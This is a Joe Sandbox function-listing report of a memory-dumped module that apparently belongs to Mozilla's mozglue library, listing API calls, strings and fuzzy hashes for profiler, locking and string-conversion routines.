Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: 76ab2ef8ce3988ff52b44eae467c489ed848e8d3c4475d0dd79d491e7a832516
Instruction ID: 9bcb35e8034d11b8f8f303c57543403b77d41cd5fe5212095cc725854529d9e4
Opcode Fuzzy Hash: 76ab2ef8ce3988ff52b44eae467c489ed848e8d3c4475d0dd79d491e7a832516
Instruction Fuzzy Hash: 14F0C871E14786ABD7008F21C848675B778FFEA259F21431AF90553601E7B0B5D087D0

Function 6C9B1700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C9B1800

Part of subcall function 6C98CBE8: GetCurrentProcess.KERNEL32(?,6C9531A7), ref: 6C98CBF1
Part of subcall function 6C98CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9531A7), ref: 6C98CBFA

Part of subcall function 6C954290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C993EBD,6C993EBD,00000000), ref: 6C9542A9

Strings

{marker.name} - {marker.data.name}, xrefs: 6C9B18C7
name, xrefs: 6C9B1939
Details, xrefs: 6C9B1925

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: 4231e0a11399b0c4c4868549376d3a8248ead0c0779888b87e3bcf2687763d52
Instruction ID: 1de2c175628950b3e8329f3e1e164063d893c19d0b58e369796bb8960a16bb0a
Opcode Fuzzy Hash: 4231e0a11399b0c4c4868549376d3a8248ead0c0779888b87e3bcf2687763d52
Instruction Fuzzy Hash: E171F370A00746AFDB04CF28D4547AABBB1FF96304F144669D8156BB41D770F6A8CBE2

Function 6C9BB0C0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 188COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,6C9BB0A6,6C9BB0A6,?,6C9BAF67,?,00000010,?,6C9BAF67,?,00000010,00000000,?,?,6C9BAB1F), ref: 6C9BB1F2
?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,6C9BB0A6,6C9BB0A6,?,6C9BAF67,?,00000010,?,6C9BAF67,?,00000010,00000000,?), ref: 6C9BB1FF
free.MOZGLUE(?,?,?,map/set<T> too long,?,?,6C9BB0A6,6C9BB0A6,?,6C9BAF67,?,00000010,?,6C9BAF67,?,00000010), ref: 6C9BB25F

Strings

map/set<T> too long, xrefs: 6C9BB1FA

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: free$Xlength_error@std@@
String ID: map/set<T> too long
API String ID: 1922495194-1285458680
Opcode ID: 4e0aefa0776b7e292eb929419ec296662936d41e262a54c020957fd4fa223757
Instruction ID: 4a4603a7d1e5e7d7421034512c898cbe4ec187cd7a755dd276200a9e6f48cd4c
Opcode Fuzzy Hash: 4e0aefa0776b7e292eb929419ec296662936d41e262a54c020957fd4fa223757
Instruction Fuzzy Hash: 16619B34A04645AFD701CF19C8C0AAABBF5FF5A318F18C199D8596BB92C331ED45CBA1

Function 6C97D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C98CBE8: GetCurrentProcess.KERNEL32(?,6C9531A7), ref: 6C98CBF1
Part of subcall function 6C98CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9531A7), ref: 6C98CBFA

EnterCriticalSection.KERNEL32(6C9DE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C98D1C5), ref: 6C97D4F2
LeaveCriticalSection.KERNEL32(6C9DE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C98D1C5), ref: 6C97D50B

Part of subcall function 6C95CFE0: EnterCriticalSection.KERNEL32(6C9DE784), ref: 6C95CFF6
Part of subcall function 6C95CFE0: LeaveCriticalSection.KERNEL32(6C9DE784), ref: 6C95D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C98D1C5), ref: 6C97D52E
EnterCriticalSection.KERNEL32(6C9DE7DC), ref: 6C97D690
LeaveCriticalSection.KERNEL32(6C9DE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C98D1C5), ref: 6C97D751

Strings

MOZ_CRASH(), xrefs: 6C97D4BB

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 0b7aa2efba07af118b59c0234a96f7df558bdb328f82750e82ae65621693f3d9
Instruction ID: f9f543cec5f736f840e44c4afaa4b3c93be4990638b3fcf7df3b732be643161b
Opcode Fuzzy Hash: 0b7aa2efba07af118b59c0234a96f7df558bdb328f82750e82ae65621693f3d9
Instruction Fuzzy Hash: 3251E472A09B018FD364CF28C49461AB7F5EF89704F658A2ED59AD7F84D770E840CBA1

Function 6C9A4630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C9A4721

Strings

profiler-paused, xrefs: 6C9A46E4
-%llu, xrefs: 6C9A4733
., xrefs: 6C9A476A

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 7d1a4bc01b6cbc658f199ac67f253fe15ef784f79cf080546d57d987c6a64946
Instruction ID: 67011499d8f742636df381e94102677f708fd7904b0e273f046bf3f9743fba7a
Opcode Fuzzy Hash: 7d1a4bc01b6cbc658f199ac67f253fe15ef784f79cf080546d57d987c6a64946
Instruction Fuzzy Hash: E8415972E087089BCB08DFB8D85115EBBF5EF95748F20863EE85567B91EB30D8458B42

Function 6C9C9830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C9C985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C9C987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6C9C98DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6C9C98D9

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: 40dd1b8b40d3e8ede8825237144d63a6a122664f827e3f8db5bd0293336436b1
Instruction ID: 2cf4ae1a34839c51d96f1ec3af381cdd371011078c8e76c7a7e0d3eb52ce9f3d
Opcode Fuzzy Hash: 40dd1b8b40d3e8ede8825237144d63a6a122664f827e3f8db5bd0293336436b1
Instruction Fuzzy Hash: 0B310A71B002089FDB14AF59DC455EE77A9DF54718F50846DEA06ABB80DB31E904CBD2

Function 6C9A46E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C9A4721

Part of subcall function 6C954410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C993EBD,00000017,?,00000000,?,6C993EBD,?,?,6C9542D2), ref: 6C954444

Strings

profiler-paused, xrefs: 6C9A46E4
-%llu, xrefs: 6C9A4733
., xrefs: 6C9A476A

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 8e513062b929a89b54a85ed2350b4cdaffecbb1bd69503736628948df1c82039
Instruction ID: 1bec9da7a1a0f8f8537b0094bf35a97c28dd057798e076457a247e29aed8c295
Opcode Fuzzy Hash: 8e513062b929a89b54a85ed2350b4cdaffecbb1bd69503736628948df1c82039
Instruction Fuzzy Hash: C2313971F043084BCB0CCFACD8812ADBBE6DB99714F55853EE8059BB41EB70D9458B51

Function 6C9AB410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C954290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C993EBD,6C993EBD,00000000), ref: 6C9542A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C9AB127), ref: 6C9AB463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9AB4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C9AB4E4

Strings

pid:, xrefs: 6C9AB4DE

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: d02b22acb0bc9cdb789ad10cc11b9f0c9a6c4aa96de36fec541bba084984be0b
Instruction ID: 7d39cca18616ff65ba02868df991634079e195447791591a041a36154c5c891f
Opcode Fuzzy Hash: d02b22acb0bc9cdb789ad10cc11b9f0c9a6c4aa96de36fec541bba084984be0b
Instruction Fuzzy Hash: A3312131A0120CDFDB00DFE9D880AEEB7B9FF05318F540529D90167A81D732E88ACBA1

Function 6C99E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C99E577
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99E584
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C99E8A6

Strings

MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C99E826, 6C99E850
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C99E722, 6C99E750, 6C99E7A2
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C99E777
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C99E655
MOZ_PROFILER_STARTUP, xrefs: 6C99E5A1, 6C99E5CC, 6C99E5FF, 6C99E62A

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: cff65f50e53103f362ce9ba93de695206569c6997d784dd6d3388b9ab68587f9
Instruction ID: 8ce947244d5cbc10c64b9c5882184560a2a2ae75396da08a335d8b8f0829866d
Opcode Fuzzy Hash: cff65f50e53103f362ce9ba93de695206569c6997d784dd6d3388b9ab68587f9
Instruction Fuzzy Hash: E211A131608B54DFCB009F15C849B59BBB8FB8932DF254519E94567A50C770F884CBD1

Function 6C9A0C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C9A0CD5

Part of subcall function 6C98F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C98F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C9A0D40
free.MOZGLUE ref: 6C9A0DCB

Part of subcall function 6C975E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C975EDB
Part of subcall function 6C975E90: memset.VCRUNTIME140(6C9B7765,000000E5,55CCCCCC), ref: 6C975F27
Part of subcall function 6C975E90: LeaveCriticalSection.KERNEL32(?), ref: 6C975FB2

free.MOZGLUE ref: 6C9A0DDD
free.MOZGLUE ref: 6C9A0DF2

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 0d978a4cfd0547df25233c8c2ea475f30d0db58acc2b2a11a62c3ee0755f98d6
Instruction ID: 8b6228db4b23bef3e1e6a4d1db5b717f2f806b281f9c4a3e2c91d2a6705c6c9f
Opcode Fuzzy Hash: 0d978a4cfd0547df25233c8c2ea475f30d0db58acc2b2a11a62c3ee0755f98d6
Instruction Fuzzy Hash: 8A413572A097809BD320CF29C08039EFBE5BF98614F119A2EE8D987B50D770E445CB82

Function 6C990800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE7DC), ref: 6C990838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C99084C
EnterCriticalSection.KERNEL32(?), ref: 6C9908AF
LeaveCriticalSection.KERNEL32(?), ref: 6C9908BD
LeaveCriticalSection.KERNEL32(6C9DE7DC), ref: 6C9908D5

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: 847f76282d066539a08ffb6f0fd6e8202346187db3a98a0fe5eb6cef1808141d
Instruction ID: 5d66724608351e1b8e152e020084574ade333fcedd537deb69491c5a7c919f5d
Opcode Fuzzy Hash: 847f76282d066539a08ffb6f0fd6e8202346187db3a98a0fe5eb6cef1808141d
Instruction Fuzzy Hash: EB21B331B0564A9BEB048F66D844BAEB779AF49708F680568D519B7A40DB32E844CBD0

Function 6C9ACCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C99DA31,00100000,?,?,00000000,?), ref: 6C9ACDA4

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

Part of subcall function 6C9AD130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C9ACDBA,00100000,?,00000000,?,6C99DA31,00100000,?,?,00000000,?), ref: 6C9AD158
Part of subcall function 6C9AD130: InitializeConditionVariable.KERNEL32(00000098,?,6C9ACDBA,00100000,?,00000000,?,6C99DA31,00100000,?,?,00000000,?), ref: 6C9AD177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C99DA31,00100000,?,?,00000000,?), ref: 6C9ACDC4

Part of subcall function 6C9A7480: ReleaseSRWLockExclusive.KERNEL32(?,6C9B15FC,?,?,?,?,6C9B15FC,?), ref: 6C9A74EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C99DA31,00100000,?,?,00000000,?), ref: 6C9ACECC

Part of subcall function 6C96CA10: mozalloc_abort.MOZGLUE(?), ref: 6C96CAA2

Part of subcall function 6C99CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C9ACEEA,?,?,?,?,00000000,?,6C99DA31,00100000,?,?,00000000), ref: 6C99CB57
Part of subcall function 6C99CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C99CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C9ACEEA,?,?), ref: 6C99CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C99DA31,00100000,?,?,00000000,?), ref: 6C9AD058

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 21ab459e2694be5d92007f9fc188c5177eff413676b63e37775e5b056bf0d785
Instruction ID: e13b5ba873cb11a38f191cfca532ba899a9c01f1d82dbc39d27802f7eb277510
Opcode Fuzzy Hash: 21ab459e2694be5d92007f9fc188c5177eff413676b63e37775e5b056bf0d785
Instruction Fuzzy Hash: ECD16F71A04B56DFD708CF28C4807A9F7E1BF99308F05862DD8598B751EB31E9A5CB81

Function 6C961720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C9617B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C9618EE
free.MOZGLUE(?), ref: 6C961911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C96194C

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 12d6be15841c6c0ece9b719a04f1b84cbad1ca020cf3b534e317b819b391aeff
Instruction ID: e1d8d6752d8c89da296225dcf8104f89744ad6ff8dd53e8bf47747fb72a66d02
Opcode Fuzzy Hash: 12d6be15841c6c0ece9b719a04f1b84cbad1ca020cf3b534e317b819b391aeff
Instruction Fuzzy Hash: A181E770A152059FDB08CF69D8D45BEBBB1FF8A310F04456DE811ABB90D730E854CBA2

Function 6C975C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C975D40
EnterCriticalSection.KERNEL32(6C9DF688), ref: 6C975D67
__aulldiv.LIBCMT ref: 6C975DB4
LeaveCriticalSection.KERNEL32(6C9DF688), ref: 6C975DED

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 1848d507069d5ab967d3f2ef7fb882371dae29ac8d10ad724a742759ff74307b
Instruction ID: 1f87f39f8e3ef7c84aa57ec3eef4dbb2e3f64417e9166057b9da5a500d700b55
Opcode Fuzzy Hash: 1848d507069d5ab967d3f2ef7fb882371dae29ac8d10ad724a742759ff74307b
Instruction Fuzzy Hash: 77518D71E055198FCF08CF68C955BAEBBB1FB89308F298619D811B7B50C730B985CB90

Function 6C95CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C95CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C95CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C95CF4E

Strings

0, xrefs: 6C95CF30

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 0e851ffa705033111940aa1c33e4e3d91d700d23ea7ee9f0b9783dfe3b6a0d03
Instruction ID: dc4f0ea235c2803fa0aad74319c0a12519226d35278ffde2eabba60f27fc35f0
Opcode Fuzzy Hash: 0e851ffa705033111940aa1c33e4e3d91d700d23ea7ee9f0b9783dfe3b6a0d03
Instruction Fuzzy Hash: CE510375A042568FCB00CF18C890A9ABBB5EF99300F19859DDC595F751D731ED16CBE0

Function 6C9B77D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9B77FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C9B7829

Part of subcall function 6C98CC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C9531A7), ref: 6C98CC45
Part of subcall function 6C98CC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C9531A7), ref: 6C98CC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C9B789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C9B78CF

Part of subcall function 6C954DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C954E5A
Part of subcall function 6C954DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C954E97

Part of subcall function 6C954290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C993EBD,6C993EBD,00000000), ref: 6C9542A9

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

